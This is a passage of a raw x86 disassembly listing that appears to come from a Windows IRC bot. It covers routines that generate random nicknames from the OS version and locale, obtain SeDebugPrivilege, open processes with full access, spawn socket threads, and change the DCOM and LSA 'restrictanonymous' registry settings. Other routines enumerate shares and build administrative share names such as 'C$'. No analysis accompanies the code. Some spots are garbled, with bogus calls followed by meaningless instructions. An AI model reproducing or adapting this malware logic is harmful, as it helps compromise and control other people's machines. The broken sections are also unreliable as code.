ds:dword_42F5D4 push [ebp+var_124] test eax, eax jz short loc_412249 lea eax, [ebp+var_230] jmp short loc_41224F ; --------------------------------------------------------------------------- loc_412243: ; CODE XREF: sub_412136+EBj push [ebp+var_124] loc_412249: ; CODE XREF: sub_412136+103j lea eax, [ebp+var_108] loc_41224F: ; CODE XREF: sub_412136+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4135AD add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h push edi call esi ; dword_41F070 jmp loc_4121D9 ; --------------------------------------------------------------------------- loc_412286: ; CODE XREF: sub_412136+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_4121D9 push [ebp+var_124] push ebx push 1F0FFFh call near ptr 0A70000h loc_4122B0: ; CODE XREF: sub_412136+17Cj in al, 0FFh jnz short loc_4122B0 mov edi, eax call esi ; dword_41F070 push ebx push edi call near ptr 0A70000h hlt ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4122C9 push edi call esi ; CloseHandle jmp short loc_4122E0 ; --------------------------------------------------------------------------- loc_4122C9: ; CODE XREF: sub_412136+18Cj push 1 pop eax jmp short loc_4122E2 ; --------------------------------------------------------------------------- loc_4122CE: ; CODE XREF: sub_412136+9Dj ; sub_412136+B5j push [ebp+var_4] call esi ; dword_41F070 loc_4122D3: ; CODE XREF: sub_412136+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_4120CB pop ecx pop ecx loc_4122E0: ; CODE XREF: sub_412136+3Aj ; sub_412136+46j ... xor eax, eax loc_4122E2: ; CODE XREF: sub_412136+196j pop edi pop esi pop ebx leave retn sub_412136 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4122E7 proc near ; DATA XREF: seg000:004106ECo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_42C868 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4135AD xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_412346 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_4110B0 add esp, 14h loc_412346: ; CODE XREF: sub_4122E7+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_412136 add esp, 18h test eax, eax jnz short loc_41236E push offset dword_42C82C jmp short loc_412373 ; --------------------------------------------------------------------------- loc_41236E: ; CODE XREF: sub_4122E7+7Ej push offset dword_42C7F4 loc_412373: ; CODE XREF: sub_4122E7+85j lea eax, [ebp+var_298] push eax call sub_4135AD cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4123A6 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_4110B0 add esp, 14h loc_4123A6: ; CODE XREF: sub_4122E7+9Dj lea eax, [ebp+var_298] push eax call sub_409615 push [ebp+var_14] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h or al, 5Fh pop esi sub_4122E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4123C5 proc far ; CODE XREF: seg000:0040FAD6p ; sub_413194+53p push esi push edi push 1 pop edi push dword ptr [esp+0Ch] push 0 push 1F0FFFh call near ptr 0A70000h retf 0F08Bh sub_4123C5 endp ; --------------------------------------------------------------------------- db 85h, 0F6h, 74h dd 56006A16h, 65DC17E8h, 0C0855700h, 33560975h, 7015FFFFh dd 8B0041F0h, 0C35E5FC7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123FC proc near ; CODE XREF: seg000:00403914p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_413609 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_41F660 call sub_414024 sub esi, eax mov eax, esi pop esi leave retn sub_4123FC endp ; =============== S U B R O U T I N E ======================================= sub_41242C proc near ; CODE XREF: sub_412797+49p ; DATA XREF: seg002:off_42C8B0o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset dword_4282B8 push offset aS_1 ; "%s" push 1Ch push edi call sub_413B2A xor esi, esi add esp, 10h cmp ds:dword_428240, esi jle short loc_412485 loc_41245F: ; CODE XREF: sub_41242C+57j call sub_413609 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42C904 push 1Ch push edi call sub_413B2A add esp, 14h inc esi cmp esi, ds:dword_428240 jl short loc_41245F loc_412485: ; CODE XREF: sub_41242C+31j mov eax, edi pop edi pop esi retn sub_41242C endp ; =============== S U B R O U T I N E ======================================= sub_41248A proc near ; CODE XREF: seg000:0040F0A9p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF pop ecx call sub_413609 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_428240 test esi, esi jle short loc_4124CD loc_4124B7: ; CODE XREF: sub_41248A+41j call sub_413609 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_4124B7 loc_4124CD: ; CODE XREF: sub_41248A+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_41248A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF pop ecx lea eax, [ebp-8] mov esi, offset dword_42C90C push eax push esi call near ptr 0A70000h mov dl, 0Fh mov esi, 42C90C05h add [edx+41h], ch pop ecx push 1 pop edx loc_412513: ; CODE XREF: seg000:0041251Ej cmp eax, ecx jnz short loc_41251A mov [ebp-4], edx loc_41251A: ; CODE XREF: seg000:00412515j inc ecx cmp ecx, 5Bh jl short loc_412513 push 61h pop ecx loc_412523: ; CODE XREF: seg000:0041252Ej cmp eax, ecx jnz short loc_41252A mov [ebp-4], edx loc_41252A: ; CODE XREF: seg000:00412525j inc ecx cmp ecx, 7Bh jl short loc_412523 mov edi, [ebp+8] push esi push 1Ch push edi call sub_413B2A xor esi, esi add esp, 0Ch cmp ds:dword_428240, esi jle short loc_41256F loc_412549: ; CODE XREF: seg000:0041256Dj call sub_413609 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42C904 push 1Ch push edi call sub_413B2A add esp, 14h inc esi cmp esi, ds:dword_428240 jl short loc_412549 loc_41256F: ; CODE XREF: seg000:00412547j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_41F138 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_42C910 push 1Ch push edi call sub_413B2A xor esi, esi add esp, 10h cmp ds:dword_428240, esi jle short loc_4125E4 loc_4125BE: ; CODE XREF: seg000:004125E2j call sub_413609 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42C904 push 1Ch push edi call sub_413B2A add esp, 14h inc esi cmp esi, ds:dword_428240 jl short loc_4125BE loc_4125E4: ; CODE XREF: seg000:004125BCj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_42E348 mov dword ptr [ebp-94h], 94h call ds:dword_41F0FC ; GetVersionExA call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_41266E cmp dword ptr [ebp-8Ch], 0 jnz short loc_41264E cmp dword ptr [ebp-84h], 1 jnz short loc_41263E mov esi, offset a95 ; "95" loc_41263E: ; CODE XREF: seg000:00412637j cmp dword ptr [ebp-84h], 2 jnz short loc_4126AA mov esi, offset aNt ; "NT" jmp short loc_4126AA ; --------------------------------------------------------------------------- loc_41264E: ; CODE XREF: seg000:0041262Ej cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_41265E mov esi, offset a98 ; "98" jmp short loc_4126AA ; --------------------------------------------------------------------------- loc_41265E: ; CODE XREF: seg000:00412655j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_4126A5 mov esi, offset aMe ; "ME" jmp short loc_4126AA ; --------------------------------------------------------------------------- loc_41266E: ; CODE XREF: seg000:00412625j cmp dword ptr [ebp-90h], 5 jnz short loc_4126A5 cmp dword ptr [ebp-8Ch], 0 jnz short loc_412687 mov esi, offset a2k ; "2K" jmp short loc_4126AA ; --------------------------------------------------------------------------- loc_412687: ; CODE XREF: seg000:0041267Ej cmp dword ptr [ebp-8Ch], 1 jnz short loc_412697 mov esi, offset aXp ; "XP" jmp short loc_4126AA ; --------------------------------------------------------------------------- loc_412697: ; CODE XREF: seg000:0041268Ej cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_42C91C jz short loc_4126AA loc_4126A5: ; CODE XREF: seg000:00412665j ; seg000:00412675j mov esi, offset dword_427868 loc_4126AA: ; CODE XREF: seg000:00412645j ; seg000:0041264Cj ... mov edi, [ebp+8] push esi push offset dword_42C914 push 1Ch push edi call sub_413B2A xor esi, esi add esp, 10h cmp ds:dword_428240, esi jle short loc_4126EE loc_4126C8: ; CODE XREF: seg000:004126ECj call sub_413609 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42C904 push 1Ch push edi call sub_413B2A add esp, 14h inc esi cmp esi, ds:dword_428240 jl short loc_4126C8 loc_4126EE: ; CODE XREF: seg000:004126C6j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4126F4 proc near ; CODE XREF: sub_412797+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_41F044 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_412743 call ds:dword_42F714 test eax, eax mov eax, offset dword_42C928 jnz short loc_41272C mov eax, offset byte_42E348 loc_41272C: ; CODE XREF: sub_4126F4+31j push eax push esi push offset dword_42C920 lea eax, [ebp+var_1C] push 1Ch push eax call sub_413B2A add esp, 14h jmp short loc_412763 ; --------------------------------------------------------------------------- loc_412743: ; CODE XREF: sub_4126F4+22j call ds:dword_42F714 test eax, eax mov eax, offset dword_42C928 jnz short loc_412757 mov eax, offset byte_42E348 loc_412757: ; CODE XREF: sub_4126F4+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4135AD pop ecx pop ecx loc_412763: ; CODE XREF: sub_4126F4+4Dj lea eax, [ebp+var_1C] push eax call sub_413DB0 pop ecx cmp eax, 2 pop esi jbe short loc_412792 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_414FA0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_414DD0 add esp, 18h loc_412792: ; CODE XREF: sub_4126F4+7Dj mov eax, [ebp+arg_0] leave retn sub_4126F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412797 proc near ; CODE XREF: sub_40B07B+7Fp ; sub_40B1E3+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42C8AC loc_4127A3: ; CODE XREF: sub_412797+3Fj cmp [ebp+arg_C], 0 jz short loc_4127BE lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4139D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4127C8 ; --------------------------------------------------------------------------- loc_4127BE: ; CODE XREF: sub_412797+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_4127C8: ; CODE XREF: sub_412797+25j test eax, eax jnz short loc_4127DA add esi, 14h inc edi cmp esi, offset dword_42C910 jl short loc_4127A3 jmp short loc_4127E8 ; --------------------------------------------------------------------------- loc_4127DA: ; CODE XREF: sub_412797+33j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_42C8B0[eax*4] pop ecx loc_4127E8: ; CODE XREF: sub_412797+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_4127FB push [ebp+arg_0] call sub_4126F4 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4127FB: ; CODE XREF: sub_412797+57j mov eax, [ebp+arg_0] pop ebp retn sub_412797 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412800 proc near ; DATA XREF: sub_4128CD+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_413630 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call ds:dword_42F708 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call ds:dword_42F788 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4128BE lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_42F6B0 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_4348A4[ecx], esi jz short loc_4128BE push [ebp+var_34] push [ebp+var_28] call ds:dword_42F794 push eax mov edi, offset dword_45E5D4 push offset unk_42C92C push edi call sub_4135AD push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_4110B0 push edi call sub_409615 add esp, 28h loc_4128BE: ; CODE XREF: sub_412800+5Dj ; sub_412800+7Ej push esi call ds:dword_42F7A0 pop edi xor eax, eax pop esi leave retn 4 sub_412800 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4128CD proc near ; DATA XREF: seg000:0040E80Co var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_41F058 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_4128FB: ; CODE XREF: sub_4128CD+ECj push [ebp+var_2C] push [ebp+var_20] call ds:dword_42F794 push eax lea eax, [ebp+var_130] push offset unk_42C968 push eax call sub_4135AD lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_434698 push eax call sub_414DD0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_412800 push edi push edi call ds:dword_41F06C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_412967 loc_41295C: ; CODE XREF: sub_4128CD+98j cmp [ebp+var_C], edi jnz short loc_412967 push 32h call esi ; dword_41F058 jmp short loc_41295C ; --------------------------------------------------------------------------- loc_412967: ; CODE XREF: sub_4128CD+8Dj ; sub_4128CD+92j push [ebp+var_4] call ds:dword_41F070 ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; dword_41F058 lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_413690 add esp, 0Ch push [ebp+arg_0] call ds:dword_42F63C inc eax push eax mov [ebp+arg_0], eax call ds:dword_42F704 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_413690 add esp, 0Ch jmp loc_4128FB sub_4128CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129BE proc near ; DATA XREF: seg000:00410D08o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_412A05 call sub_412A1E jmp short loc_412A0A ; --------------------------------------------------------------------------- loc_412A05: ; CODE XREF: sub_4129BE+3Ej call sub_412D42 loc_412A0A: ; CODE XREF: sub_4129BE+45j add esp, 10h push [ebp+var_14] call sub_413375 pop ecx push 0 call near ptr 0A70000h lodsd sub_4129BE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A1E proc near ; CODE XREF: sub_4129BE+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_42F7D8, edi jnz loc_412B50 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_42F778 test eax, eax jnz short loc_412AA9 mov ax, ds:word_42CD50 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_42F72C test eax, eax jz short loc_412A8B push offset unk_42CD0C jmp short loc_412A90 ; --------------------------------------------------------------------------- loc_412A8B: ; CODE XREF: sub_412A1E+64j push offset dword_42CCDC loc_412A90: ; CODE XREF: sub_412A1E+6Bj lea eax, [ebp+var_214] push eax call sub_4135AD pop ecx pop ecx push [ebp+var_4] call ds:dword_42F6E4 jmp short loc_412ABC ; --------------------------------------------------------------------------- loc_412AA9: ; CODE XREF: sub_412A1E+36j lea eax, [ebp+var_214] push offset unk_42CC98 push eax call sub_4135AD pop ecx pop ecx loc_412ABC: ; CODE XREF: sub_412A1E+89j cmp [ebp+arg_C], edi jnz short loc_412ADB push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412ADB: ; CODE XREF: sub_412A1E+A1j lea eax, [ebp+var_214] push eax call sub_409615 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_42F778 test eax, eax jnz short loc_412B49 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call ds:dword_42F72C test eax, eax jz short loc_412B2B push offset unk_42CC34 jmp short loc_412B30 ; --------------------------------------------------------------------------- loc_412B2B: ; CODE XREF: sub_412A1E+104j push offset unk_42CBEC loc_412B30: ; CODE XREF: sub_412A1E+10Bj lea eax, [ebp+var_214] push eax call sub_4135AD pop ecx pop ecx push [ebp+var_4] call ds:dword_42F6E4 jmp short loc_412B63 ; --------------------------------------------------------------------------- loc_412B49: ; CODE XREF: sub_412A1E+E2j push offset unk_42CB9C jmp short loc_412B55 ; --------------------------------------------------------------------------- loc_412B50: ; CODE XREF: sub_412A1E+13j push offset unk_42CB58 loc_412B55: ; CODE XREF: sub_412A1E+130j lea eax, [ebp+var_214] push eax call sub_4135AD pop ecx pop ecx loc_412B63: ; CODE XREF: sub_412A1E+129j cmp [ebp+arg_C], edi jnz short loc_412B82 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412B82: ; CODE XREF: sub_412A1E+148j lea eax, [ebp+var_214] push eax call sub_409615 cmp ds:dword_42F800, edi pop ecx jnz loc_412CFD push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_412BA5: ; CODE XREF: sub_412A1E+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_42F654 cmp eax, edi mov [ebp+var_10], eax jz short loc_412C42 cmp eax, 0EAh jz short loc_412C42 mov esi, offset off_42C9A8 loc_412BD6: ; CODE XREF: sub_412A1E+21Dj push dword ptr [esi] push edi call sub_411701 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_412BED push offset unk_42CB20 jmp short loc_412BF2 ; --------------------------------------------------------------------------- loc_412BED: ; CODE XREF: sub_412A1E+1C6j push offset unk_42CAE0 loc_412BF2: ; CODE XREF: sub_412A1E+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_413B2A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_412C25 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412C25: ; CODE XREF: sub_412A1E+1EBj lea eax, [ebp+var_214] push eax call sub_409615 add esi, 8 pop ecx cmp esi, offset dword_42C9C8 jl short loc_412BD6 jmp loc_412CDA ; --------------------------------------------------------------------------- loc_412C42: ; CODE XREF: sub_412A1E+1AAj ; sub_412A1E+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_412CD1 loc_412C51: ; CODE XREF: sub_412A1E+2AFj mov edi, [esi] push edi call sub_415A6C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_412CC6 push edi call sub_4115EE push eax push 0 call sub_411701 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_412C80 push offset unk_42CAA8 jmp short loc_412C85 ; --------------------------------------------------------------------------- loc_412C80: ; CODE XREF: sub_412A1E+259j push offset unk_42CA68 loc_412C85: ; CODE XREF: sub_412A1E+260j lea eax, [ebp+var_214] push 200h push eax call sub_413B2A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_412CB9 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412CB9: ; CODE XREF: sub_412A1E+27Fj lea eax, [ebp+var_214] push eax call sub_409615 pop ecx loc_412CC6: ; CODE XREF: sub_412A1E+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_412C51 xor edi, edi loc_412CD1: ; CODE XREF: sub_412A1E+22Dj push [ebp+var_8] call ds:dword_42F798 loc_412CDA: ; CODE XREF: sub_412A1E+21Fj cmp [ebp+var_10], 0EAh jz loc_412BA5 lea eax, [ebp+var_214] push offset unk_42CA2C push eax call sub_4135AD pop ecx pop ecx pop ebx jmp short loc_412D10 ; --------------------------------------------------------------------------- loc_412CFD: ; CODE XREF: sub_412A1E+177j lea eax, [ebp+var_214] push offset unk_42C9E8 push eax call sub_4135AD pop ecx pop ecx loc_412D10: ; CODE XREF: sub_412A1E+2DDj cmp [ebp+arg_C], edi jnz short loc_412D2E push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412D2E: ; CODE XREF: sub_412A1E+2F5j lea eax, [ebp+var_214] push eax call sub_409615 pop ecx push 1 pop eax pop edi pop esi leave retn sub_412A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D42 proc near ; CODE XREF: sub_4129BE:loc_412A05p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp ds:dword_42F7D8, ebx push esi jnz loc_412E70 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_42F778 test eax, eax jnz short loc_412DCD mov ax, ds:word_42CF58 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_42F72C test eax, eax jz short loc_412DAF push offset unk_42CF20 jmp short loc_412DB4 ; --------------------------------------------------------------------------- loc_412DAF: ; CODE XREF: sub_412D42+64j push offset dword_42CEF0 loc_412DB4: ; CODE XREF: sub_412D42+6Bj lea eax, [ebp+var_220] push eax call sub_4135AD pop ecx pop ecx push [ebp+var_4] call ds:dword_42F6E4 jmp short loc_412DE0 ; --------------------------------------------------------------------------- loc_412DCD: ; CODE XREF: sub_412D42+36j lea eax, [ebp+var_220] push offset unk_42CC98 push eax call sub_4135AD pop ecx pop ecx loc_412DE0: ; CODE XREF: sub_412D42+89j cmp [ebp+arg_C], ebx jnz short loc_412DFF push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412DFF: ; CODE XREF: sub_412D42+A1j lea eax, [ebp+var_220] push eax call sub_409615 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_42F778 test eax, eax jnz short loc_412E69 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call ds:dword_42F72C test eax, eax jz short loc_412E4B push offset unk_42CEA0 jmp short loc_412E50 ; --------------------------------------------------------------------------- loc_412E4B: ; CODE XREF: sub_412D42+100j push offset unk_42CE58 loc_412E50: ; CODE XREF: sub_412D42+107j lea eax, [ebp+var_220] push eax call sub_4135AD pop ecx pop ecx push [ebp+var_4] call ds:dword_42F6E4 jmp short loc_412E83 ; --------------------------------------------------------------------------- loc_412E69: ; CODE XREF: sub_412D42+E2j push offset unk_42CE08 jmp short loc_412E75 ; --------------------------------------------------------------------------- loc_412E70: ; CODE XREF: sub_412D42+13j push offset unk_42CB58 loc_412E75: ; CODE XREF: sub_412D42+12Cj lea eax, [ebp+var_220] push eax call sub_4135AD pop ecx pop ecx loc_412E83: ; CODE XREF: sub_412D42+125j cmp [ebp+arg_C], ebx jnz short loc_412EA2 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412EA2: ; CODE XREF: sub_412D42+144j lea eax, [ebp+var_220] push eax call sub_409615 cmp ds:dword_42F800, ebx pop ecx jnz loc_413014 push edi mov esi, offset off_42C9A8 mov edi, 200h loc_412EC6: ; CODE XREF: sub_412D42+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_411655 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_412EE1 push offset unk_42CDD4 jmp short loc_412EE6 ; --------------------------------------------------------------------------- loc_412EE1: ; CODE XREF: sub_412D42+196j push offset unk_42CD98 loc_412EE6: ; CODE XREF: sub_412D42+19Dj lea eax, [ebp+var_220] push edi push eax call sub_413B2A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_412F15 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_412F15: ; CODE XREF: sub_412D42+1B7j lea eax, [ebp+var_220] push eax call sub_409615 add esi, 8 pop ecx cmp esi, offset off_42C9B8 jl short loc_412EC6 call near ptr 0A70000h cdq test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_412FFC loc_412F40: ; CODE XREF: sub_412D42+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_412FF1 loc_412F4E: ; DATA XREF: seg002:off_4278CCo cmp bl, 41h jz loc_412FF1 movsx esi, bl push esi push offset aC_0 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_413B2A push esi push offset aC ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_413B2A add esp, 20h lea eax, [ebp+var_20] push eax call ds:dword_42F768 cmp eax, 3 jnz short 